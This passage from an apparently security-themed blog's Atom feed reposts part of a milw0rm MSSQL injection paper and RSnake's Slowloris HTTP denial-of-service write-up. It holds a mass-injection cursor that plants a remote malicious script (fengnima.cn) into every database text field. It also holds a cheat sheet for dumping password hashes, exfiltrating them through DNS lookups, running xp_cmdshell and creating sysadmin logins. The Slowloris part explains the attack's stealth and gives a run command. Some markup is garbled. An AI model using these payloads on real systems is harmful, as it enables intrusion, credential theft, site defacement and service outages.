/* SYSNAME */ OR&lt;br /&gt; [B].[XType] = 167 /* VARCHAR */)&lt;br /&gt; &lt;br /&gt; OPEN Table_Cursor&lt;br /&gt; FETCH NEXT FROM Table_Cursor INTO @T,@C &lt;br /&gt; &lt;br /&gt; WHILE (@@FETCH_STATUS = 0)&lt;br /&gt; &lt;br /&gt; BEGIN&lt;br /&gt; EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''&lt;script src="http://www.fengnima.cn/k.js"&gt;&lt;br /&gt;&lt;/script&gt;''')&lt;br /&gt; FETCH NEXT FROM Table_Cursor INTO @T, @C&lt;br /&gt; END&lt;br /&gt; &lt;br /&gt; CLOSE Table_Cursor&lt;br /&gt; DEALLOCATE Table_Cursor &lt;br /&gt; &lt;br /&gt; [End SQLi]----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  What happens as a result? It finds all text fields in the database and adds a link to malicious javascript &lt;br /&gt; &lt;script src="http://www.fengnima.cn/k.js"&gt;&lt;br /&gt;&lt;/script&gt; to each and every one of them which will make your website display them automatically. &lt;br /&gt; So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as &lt;br /&gt; an article ID, product ID, etc) parameter and tried to use that to upload their SQL injection code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;######################################## &lt;br /&gt; [0x05] - MSSQL Injection Cheat Sheet&lt;br /&gt;########################################&lt;br /&gt; &lt;br /&gt;  ** Some of the queries in the table below can only be run by an admin (SA Privilege). &lt;br /&gt; These are marked with "-- priv" at the end of the query. **&lt;br /&gt;&lt;br /&gt; +---------------+---------------------------------------------------------------------------+&lt;br /&gt; |    Version    | SELECT @@version           |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |   Comments    | SELECT 1 -- comment           |&lt;br /&gt; |               | SELECT /*comment*/1           |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  | SELECT user_name();           |&lt;br /&gt; |               | SELECT system_user;           |&lt;br /&gt; | Current User | SELECT user;            |&lt;br /&gt; |               | SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID      |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  List Users   | SELECT name FROM master..syslogins         |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  | MSSQL2000: SELECT name, password FROM master..sysxlogins -- priv     |&lt;br /&gt; |  |             |&lt;br /&gt; |      |      SELECT name, master.dbo.fn_varbintohexstr(password)            |&lt;br /&gt; |   |      FROM master..sysxlogins -- priv        |&lt;br /&gt; | List Password |             |&lt;br /&gt; |    Hashes | MSSQL2005: SELECT name, password_hash FROM        |&lt;br /&gt; |  |      master.sys.sql_logins -- priv        |&lt;br /&gt; |      |             |&lt;br /&gt; |  |      SELECT name + '-' +         |&lt;br /&gt; |  |      master.sys.fn_varbintohexstr(password_hash)      |&lt;br /&gt; |  |      FROM master.sys.sql_logins -- priv        |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |   | SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin?     |&lt;br /&gt; |  | returns 1 for true, 0 for false, NULL for invalid role.      |&lt;br /&gt; |  | Also try 'bulkadmin', 'systemadmin' and other values.       |&lt;br /&gt; |   List DBA |              |&lt;br /&gt; |   Accounts |             |&lt;br /&gt; |   | SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin?     |&lt;br /&gt; |  | return 1 for true, 0 for false, NULL for invalid role/username.     |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |   Current DB  | SELECT DB_NAME()           |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |     List | SELECT name FROM master..sysdatabases;        |&lt;br /&gt; |   Databases | SELECT DB_NAME(N); -- for N = 0, 1, 2, ...        |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE   |       &lt;br /&gt; |  | name = 'mytable'); -- for the current DB only        |&lt;br /&gt; |  |             |&lt;br /&gt; | List Columns | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM  |&lt;br /&gt; |  | master..syscolumns, master..sysobjects WHERE        |&lt;br /&gt; |  | master..syscolumns.id=master..sysobjects.id AND       |&lt;br /&gt; |  | master..sysobjects.name='sometable'; -- list colum names      |&lt;br /&gt; |  | and types for master..sometable         |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  | SELECT name FROM master..sysobjects WHERE xtype = 'U';      |&lt;br /&gt; |  | (Use xtype = 'V' for views)          |&lt;br /&gt; |  | SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';      |&lt;br /&gt; |  |             |&lt;br /&gt; |  List Tables | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype)     |&lt;br /&gt; |  | FROM master..syscolumns, master..sysobjects WHERE       |&lt;br /&gt; |  | master..syscolumns.id=master..sysobjects.id AND       |&lt;br /&gt; |  | master..sysobjects.name='sometable'; -- list column names and types     |&lt;br /&gt; |  | for master..sometable           |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |   | -- NB: This example works only for the current database.      |&lt;br /&gt; |  | If you wan't to search another db, you need to specify the db name     |&lt;br /&gt; |  Find Tables | (e.g. replace sysobject with mydb..sysobjects).       |&lt;br /&gt; |     From |             |&lt;br /&gt; |  Column Name | SELECT sysobjects.name as tablename, syscolumns.name as columnname     |&lt;br /&gt; |  | FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id     |&lt;br /&gt; |  | WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' --     |&lt;br /&gt; |  | this lists table, column for each column containing the word 'password'   |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |    Select | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins     |&lt;br /&gt; |    Nth Row | ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row      |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |Select Nth Char| SELECT substring('abcd', 3, 1) -- returns c        |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  Bitwise AND  | SELECT 6 &amp;amp; 2 -- returns 2          |&lt;br /&gt; |  | SELECT 6 &amp;amp; 1 -- returns 0          |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  ASCII Value | SELECT char(0x41) -- returns A         |&lt;br /&gt; |   -&amp;gt; Char |             |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; | Char -&amp;gt; ASCII | SELECT ascii('A') - returns 65         |&lt;br /&gt; |     Value |             |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |    Casting    | SELECT CAST('1' as int);          |&lt;br /&gt; |  | SELECT CAST(1 as char)          |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |    String | SELECT 'A' + 'B' - returns AB          |&lt;br /&gt; | Concatenation |             |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; | If Statement  | IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1        |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1       |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |Avoiding Quotes| SELECT char(65)+char(66) -- returns AB        |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  Time Delay   | WAITFOR DELAY '0:0:5' -- pause for 5 seconds        |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  | declare @host varchar(800); select @host = name FROM master..syslogins;   |&lt;br /&gt; |  | exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini''');     |&lt;br /&gt; |  | -- nonpriv, works on 2000          |&lt;br /&gt; |  |             |&lt;br /&gt; |  | declare @host varchar(800); select @host = name + '-' +      |&lt;br /&gt; |     Make | master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net'     |&lt;br /&gt; | DNS Requests | from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');|&lt;br /&gt; |  | -- priv, works on 2005          |&lt;br /&gt; |  |             |&lt;br /&gt; |  | -- NB: Concatenation is not allowed in calls to these SPs, hence why we   |&lt;br /&gt; |  | have to use @host.  Messy but necessary.        |&lt;br /&gt; |  | -- Also check out theDNS tunnel feature of sqlninja       |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |    Command | EXEC xp_cmdshell 'net user'; -- priv         |&lt;br /&gt; |   Execution   |             |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |     Local | CREATE TABLE mydata (line varchar(8000));        |&lt;br /&gt; |  File Access | BULK INSERT mydata FROM 'c:\boot.ini';        |&lt;br /&gt; |  | DROP TABLE mydata;           |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; | Hostname, IP  | SELECT HOST_NAME()           |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; | Create Users  | EXEC sp_addlogin 'user', 'pass'; -- priv        |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; |  Drop Users   | EXEC sp_droplogin 'user'; -- priv         |&lt;br /&gt; |---------------|---------------------------------------------------------------------------|&lt;br /&gt; | Make User DBA | EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv     |&lt;br /&gt; +---------------+---------------------------------------------------------------------------+&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;########################################&lt;br /&gt; [0x06] - SQL Injection Countermeasures&lt;br /&gt;########################################&lt;br /&gt;&lt;br /&gt; Main cause of SQL injection vulnerability is input validation. Many web developers do not provide&lt;br /&gt;proper mechanism in order to sanitize any form of input. So, attackers take advantage of this point and gain access&lt;br /&gt;to many databases. There are solutions to prevent SQL injection vulnerability.&lt;br /&gt;&lt;br /&gt; - Use whilelist input: because we cannot know all of bad inputs, so the efficient way is to allow only our known-valid input&lt;br /&gt; - Check input type: in some cases, attackers inject string into numeric input field or inject numeric into string input field, &lt;br /&gt;   these may cause SQL injection vulnerability&lt;br /&gt; - Escape database metacharacters: use / in order to escape database metacharacters by prepending / in front of metacharaters.&lt;br /&gt; - Don't ignore any ways of input: attackers can manipulate input to exploit SQL vulnerabilities, so you must not care only query string but also headers, &lt;br /&gt;   cookies and form fields as well&lt;br /&gt; - Use Parameterized Queries: MSSQL provides API for handling inputs which can help us to prevent SQL injection. &lt;br /&gt;   This mechanism is called "Parameterized Queries".&lt;br /&gt;&lt;br /&gt;   The following two code samples illustrate the difference between an unsafe query dynamically constructed out of &lt;br /&gt;  user data, and its safe parameterized counterpart. &lt;br /&gt; &lt;br /&gt;   In the first, the user-supplied name parameter is embeded directly into a SQL statement, leaving the &lt;br /&gt;  application vulnerable to SQL injection:&lt;br /&gt;&lt;br /&gt;   //define the query structure&lt;br /&gt;   string queryText = "select ename,sak from emp where ename ='";&lt;br /&gt;  &lt;br /&gt;   //concatenate the user-supplied name&lt;br /&gt;   queryText += request.getParameter("name");&lt;br /&gt;   queryText += "'";&lt;br /&gt;  &lt;br /&gt;   //execute the query&lt;br /&gt;   stmt = con.createStatement();&lt;br /&gt;   rs = stmt.executeQuery(queryText);&lt;br /&gt; &lt;br /&gt;   In the second example, the query structure is defined using a question mark as a placeholder &lt;br /&gt;  for the user-supplied parameter. The prepareStatement method is invoked to interpret this, and fix the structure &lt;br /&gt;  of the query that is to be executed. Only then is the setString method used to specify the actual value of &lt;br /&gt;  the parameter. Because the query's structure has already been fixed, this value can contain any data at all, &lt;br /&gt;  without affecting the structure. The query is then executed safely:&lt;br /&gt;&lt;br /&gt;   //define the query structure&lt;br /&gt;   String queryText = "select ename,sal from emp where ename = ?";&lt;br /&gt;  &lt;br /&gt;   //prepare the statement through DB connection "con"&lt;br /&gt;   stmt = con.prepareStatement(queryText);&lt;br /&gt;  &lt;br /&gt;   //add the user input to variable 1 (at the first ? placeholder)&lt;br /&gt;   stmt.setSting(1, request.getParameter("name"));&lt;br /&gt;  &lt;br /&gt;   //execute the query&lt;br /&gt;   rs = stmt.executeQuery();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#####################&lt;br /&gt; [0x07] - References&lt;br /&gt;#####################&lt;br /&gt;&lt;br /&gt;[1] Error based SQL injection - a true story: AnalyseR&lt;br /&gt;[2] Advanced SQL Injection In SQL Server Applications: Chris Anley&lt;br /&gt;[3] ASCII Encoded/Binary String Automated SQL Injection Attack: Michael Zino&lt;br /&gt;[4] http://pentestmonkey.net&lt;br /&gt;[5] http://www.owasp.org&lt;br /&gt;[6] http://www.milw0rm.com&lt;br /&gt;&lt;br /&gt;####################&lt;br /&gt; [0x08] - Greetz To&lt;br /&gt;####################&lt;br /&gt; &lt;br /&gt;Greetz     : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK&lt;br /&gt;Special Thx : asylu3, str0ke, citec.us, milw0rm.com&lt;br /&gt;&lt;br /&gt;    ----------------------------------------------------&lt;br /&gt; This paper is written for Educational purpose only. The authors are not responsible for any damage &lt;br /&gt; originating from using this paper in wrong objective. If you want to use this knowledge with other person systems, &lt;br /&gt;    you must request for consent from system owner before&lt;br /&gt;    ----------------------------------------------------&lt;br /&gt;&lt;br /&gt;# milw0rm.com [2009-01-29]&lt;/a&gt;&lt;/stdin&gt;&lt;/stdin&gt;&lt;/pre&gt;&lt;a $line(@stuff)="" $out="$1;" $ua="LWP::UserAgent-" \"="" class="l/ig)" foreach="" g;="" href="http://www.blogger.com/,$c);" if($line="~/(.*)" s="" {=""&gt;&lt;pre&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;Source:&lt;/b&gt;&lt;/pre&gt;&lt;/a&gt;&lt;pre&gt;&lt;a href="http://www.milw0rm.com/papers/279"&gt;http://www.milw0rm.com/papers/279&lt;/a&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-101822547013053127?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/101822547013053127/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=101822547013053127' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/101822547013053127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/101822547013053127'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2010/06/full-mssql-injection-pwnage.html' title='Full MSSQL Injection PWNage'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-6089498150619156220</id><published>2010-01-28T17:52:00.000-08:00</published><updated>2010-11-28T17:59:10.934-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Slowloris'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><title type='text'>Slowloris HTTP DoS</title><content type='html'>&lt;pre&gt;&lt;span style="font-size: 9px; line-height: 8pt;"&gt;CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::&lt;br /&gt;CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::&lt;br /&gt;CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::&lt;br /&gt;CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::&lt;br /&gt;CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:&lt;br /&gt;ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc&lt;br /&gt;ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo&lt;br /&gt;oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC&lt;br /&gt;oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC&lt;br /&gt;oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO&lt;br /&gt;CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O&lt;br /&gt;CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO&lt;br /&gt;OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO&lt;br /&gt;OOOOO888@8@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO&lt;br /&gt;COOO888@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO&lt;br /&gt;CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC&lt;br /&gt;coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC&lt;br /&gt;:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC&lt;br /&gt;.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC&lt;br /&gt;....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo&lt;br /&gt;.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc&lt;br /&gt;...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co&lt;br /&gt;.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo&lt;br /&gt; ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC&lt;br /&gt;   .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco&lt;br /&gt;  .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc&lt;br /&gt;       .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="font-size: 9px; line-height: 8pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;b&gt;Welcome to &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; - the low bandwidth, yet greedy and poisonous HTTP  client!&lt;/b&gt;&lt;br /&gt;Written by &lt;a href="http://ha.ckers.org/"&gt;RSnake&lt;/a&gt; with help from  John Kinsella, and a dash of inspiration from &lt;a href="http://www.outpost24.com/"&gt;Robert E Lee&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;UPDATE 2:&lt;/b&gt; Video presentation of &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; at DefCon (the  middle section of the presentation) can be seen here:  &lt;a href="http://vimeo.com/7618090"&gt;Hijacking Web 2.0 Sites with SSLstrip  and &lt;b style="background-color: #ffff66; color: black;"&gt;SlowLoris&lt;/b&gt;  -- Sam Bowne and RSnake at Defcon 17&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;UPDATE:&lt;/b&gt; Amit Klein pointed me to a &lt;a href="http://www.securityfocus.com/archive/1/456339/30/0/threaded"&gt;post  written by Adrian Ilarion Ciobanu written in early 2007&lt;/a&gt; that  perfectly describes this denial of service attack.  It was also  described in 2005 in the "Programming Model Attacks" section of Apache  Security.  So although there was no tool released at that time these two  still technically deserves all the credit for this.  I apologize for  having missed these.&lt;br /&gt;In considering the ramifications of a slow denial of service attack  against particular services, rather than flooding networks, a concept  emerged that would allow a single machine to take down another machine's  web server with minimal bandwidth and side effects on unrelated  services and ports.  The ideal situation for many denial of service  attacks is where all other services remain intact but the webserver  itself is completely inaccessible.  &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; was born from this  concept, and is therefore relatively very stealthy compared to most  flooding tools.&lt;br /&gt;&lt;br /&gt;&lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  holds connections open by sending partial HTTP requests.  It continues  to send subsequent headers at regular intervals to keep the sockets from  closing.  In this way webservers can be quickly tied up.  In  particular, servers that have threading will tend to be vulnerable, by  virtue of the fact that they attempt to limit the amount of threading  they'll allow.  &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; must wait for all the sockets to become available  before it's successful at consuming them, so if it's a high traffic  website, it may take a while for the site to free up it's sockets.  So  while you may be unable to see the website from your vantage point,  others may still be able to see it until all sockets are freed by them  and consumed by &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;.  This is because other users of the system must  finish their requests before the sockets become available for &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  to consume.  If others re-initiate their connections in that brief  time-period they'll still be able to see the site.  So it's a bit of a  race condition, but one that &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; will eventually always win - and  sooner than later.&lt;br /&gt;&lt;br /&gt;&lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  also has a few stealth features built into it.  Firstly, it can be  changed to send different host headers, if your target is a virtual host  and logs are stored seperately per virtual host.  But most importantly,  while the attack is underway, the log file won't be written until the  request is completed.  So you can keep a server down for minutes at a  time without a single log file entry showing up to warn someone who  might watching in that instant.  Of course once your attack stops or  once the session gets shut down there will be several hundred 400 errors  in the web server logs.  That's unavoidable as &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; sits today,  although it may be possible to turn them into 200 OK messages instead by  completing a valid request, but &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; doesn't yet do  that.&lt;br /&gt;&lt;br /&gt;HTTPReady quickly came up as a possible solution to a &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  attack, because it won't cause the HTTP server to launch until a full  request is recieved.  This is true only for GET and HEAD requests.  As  long as you give &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; the switch to modify it's method to POST,  HTTPReady turns out to be a worthless defense against this type of  attack.&lt;br /&gt;&lt;br /&gt;This is &lt;b&gt;&lt;i&gt;NOT&lt;/i&gt;&lt;/b&gt; a TCP DoS, because it is actually making a  full TCP connection, not a partial one, however it &lt;i&gt;is&lt;/i&gt; making  partial HTTP requests.  It's the equivalent of a SYN flood but over  HTTP.  One example of the difference is that if there are two  web-servers running on the same machine one server can be DoSed without  affecting the other webserver instance.  &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; would also  theoretically work over other protocols like UDP, if the program was  modified slightly and the webserver supported it.  &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; is also &lt;b&gt;&lt;i&gt;NOT&lt;/i&gt;&lt;/b&gt;  a GET request flooder. &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; requires only a few hundred requests  at long term and regular intervals, as opposed to tens of thousands on  an ongoing basis.&lt;br /&gt;&lt;br /&gt;Interestingly enough, in testing this has been shown in at least one  instance to lock up database connections and force other strange issues  and errors to arise that can allow for fingerprinting and other odd  things to become obvious once the DoS is complete and the server  attempts to clean itself up.  I would guess that this issue arises when  the webserver is allowed to open more connections than the database is,  causing the database to fail first and for longer than the webserver.&lt;br /&gt;&lt;br /&gt;&lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  lets the webserver return to normal almost instantly (usually within 5  seconds or so).  That makes it ideal for certain attacks that may just  require a brief down-time.  As described in &lt;a href="http://ha.ckers.org/blog/20090504/using-denial-of-service-for-hacking/"&gt;this  blog post, DoS is actually very useful for certain types of attacks&lt;/a&gt;  where timing is key, or as a diversionary tactic, etc....&lt;br /&gt;This affects a number of webservers that use threaded processes and  ironically attempt to limit that to prevent memory exhaustion - fixing  one problem created another.  This includes but is not necessarily  limited to the following:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Apache 1.x     &lt;/li&gt;&lt;li&gt;Apache 2.x     &lt;/li&gt;&lt;li&gt;dhttpd     &lt;/li&gt;&lt;li&gt;GoAhead WebServer     &lt;/li&gt;&lt;li&gt;WebSense "block pages" (unconfirmed)     &lt;/li&gt;&lt;li&gt;Trapeze Wireless Web Portal (unconfirmed)     &lt;/li&gt;&lt;li&gt;Verizon's MI424-WR FIOS Cable modem (unconfirmed)     &lt;/li&gt;&lt;li&gt;Verizon's Motorola Set-Top Box (port 8082 and requires auth  - unconfirmed)     &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bee-ware.net/en/"&gt;BeeWare&lt;/a&gt; WAF  (unconfirmed)     &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.denyall.com/"&gt;Deny All&lt;/a&gt; WAF  (unconfirmed)   &lt;/li&gt;&lt;/ul&gt;There are a number of webservers that this doesn't affect as well, in  my testing:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;IIS6.0     &lt;/li&gt;&lt;li&gt;IIS7.0     &lt;/li&gt;&lt;li&gt;lighttpd     &lt;/li&gt;&lt;li&gt;Squid      &lt;/li&gt;&lt;li&gt;nginx      &lt;/li&gt;&lt;li&gt;Cherokee (&lt;a href="http://lists.octality.com/pipermail/cherokee/2009-June/010530.html"&gt;verified  by user community&lt;/a&gt;)     &lt;/li&gt;&lt;li&gt;Netscaler     &lt;/li&gt;&lt;li&gt;Cisco CSS (&lt;a href="http://www.cupfighter.net/index.php/2009/06/slowloris-css/"&gt;verified  by user community&lt;/a&gt;)   &lt;/li&gt;&lt;/ul&gt;This is obviously not a complete list, and there may be a number of  variations on these web-servers that are or are not vulnerable.  I  didn't test every configuration or variant, so your mileage may vary.   This also may not work if there is an upstream device that somehow  limits/buffers/proxies HTTP requests.  Please note though that &lt;b&gt;&lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  only represents one variant of this attack&lt;/b&gt; and other variants may  have different impacts on other webservers and upstream devices.  This  command should work on most systems, but please be sure to check the  options as well:&lt;br /&gt;&lt;b&gt;perl &lt;b style="background-color: #ffff66; color: black;"&gt;slowloris&lt;/b&gt;.pl -dns example.com&lt;/b&gt;&lt;br /&gt;Requirements:  This is a Perl program requiring the Perl interpreter  with the modules &lt;a href="http://perldoc.perl.org/IO/Socket/INET.html"&gt;IO::Socket::INET&lt;/a&gt;,  &lt;a href="http://search.cpan.org/%7Ebehroozi/IO-Socket-SSL-0.97/"&gt;IO::Socket::SSL&lt;/a&gt;,  and &lt;a href="http://search.cpan.org/%7Ejv/Getopt-Long-2.38/"&gt;GetOpt::Long&lt;/a&gt;.   &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  works MUCH better and faster if you have threading, so I highly  encourage you to also install threads and threads::shared if you don't  have those modules already.  You can install modules using CPAN:&lt;br /&gt;&lt;blockquote&gt;perl -MCPAN -e 'install IO::Socket::INET'&lt;br /&gt;perl -MCPAN -e 'install IO::Socket::SSL'&lt;/blockquote&gt;&lt;img align="left" height="50" src="http://ha.ckers.org/images/microsoft_icon.gif" width="50" /&gt;&lt;b&gt;Windows users&lt;/b&gt;: You probably will not be  able to successfuly execute a &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; denial of service from Windows even  if you use &lt;a href="http://www.cygwin.com/"&gt;Cygwin&lt;/a&gt;. I have not had  any luck getting &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; to successfuly deny service from within Windows,  because &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  requires more than a few hundred sockets to work (sometimes a thousand  or more), and Windows limits sockets to around 130, from what I've seen.   I highly suggest you use a *NIX operating system to execute &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt;  from for the best results, and not from within a virtual machine, as  that could have unexpected results based on the parent operating system.&lt;br /&gt;Version: &lt;b style="background-color: #ffff66; color: black;"&gt;Slowloris&lt;/b&gt; is currently at version 0.7 - 06/17/2009&lt;br /&gt;&lt;br /&gt;Download: &lt;a href="http://ha.ckers.org/slowloris/slowloris.pl"&gt;&lt;b style="background-color: #ffff66; color: black;"&gt;slowloris&lt;/b&gt;.pl&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Getting started: &lt;b&gt;perldoc &lt;b style="background-color: #ffff66; color: 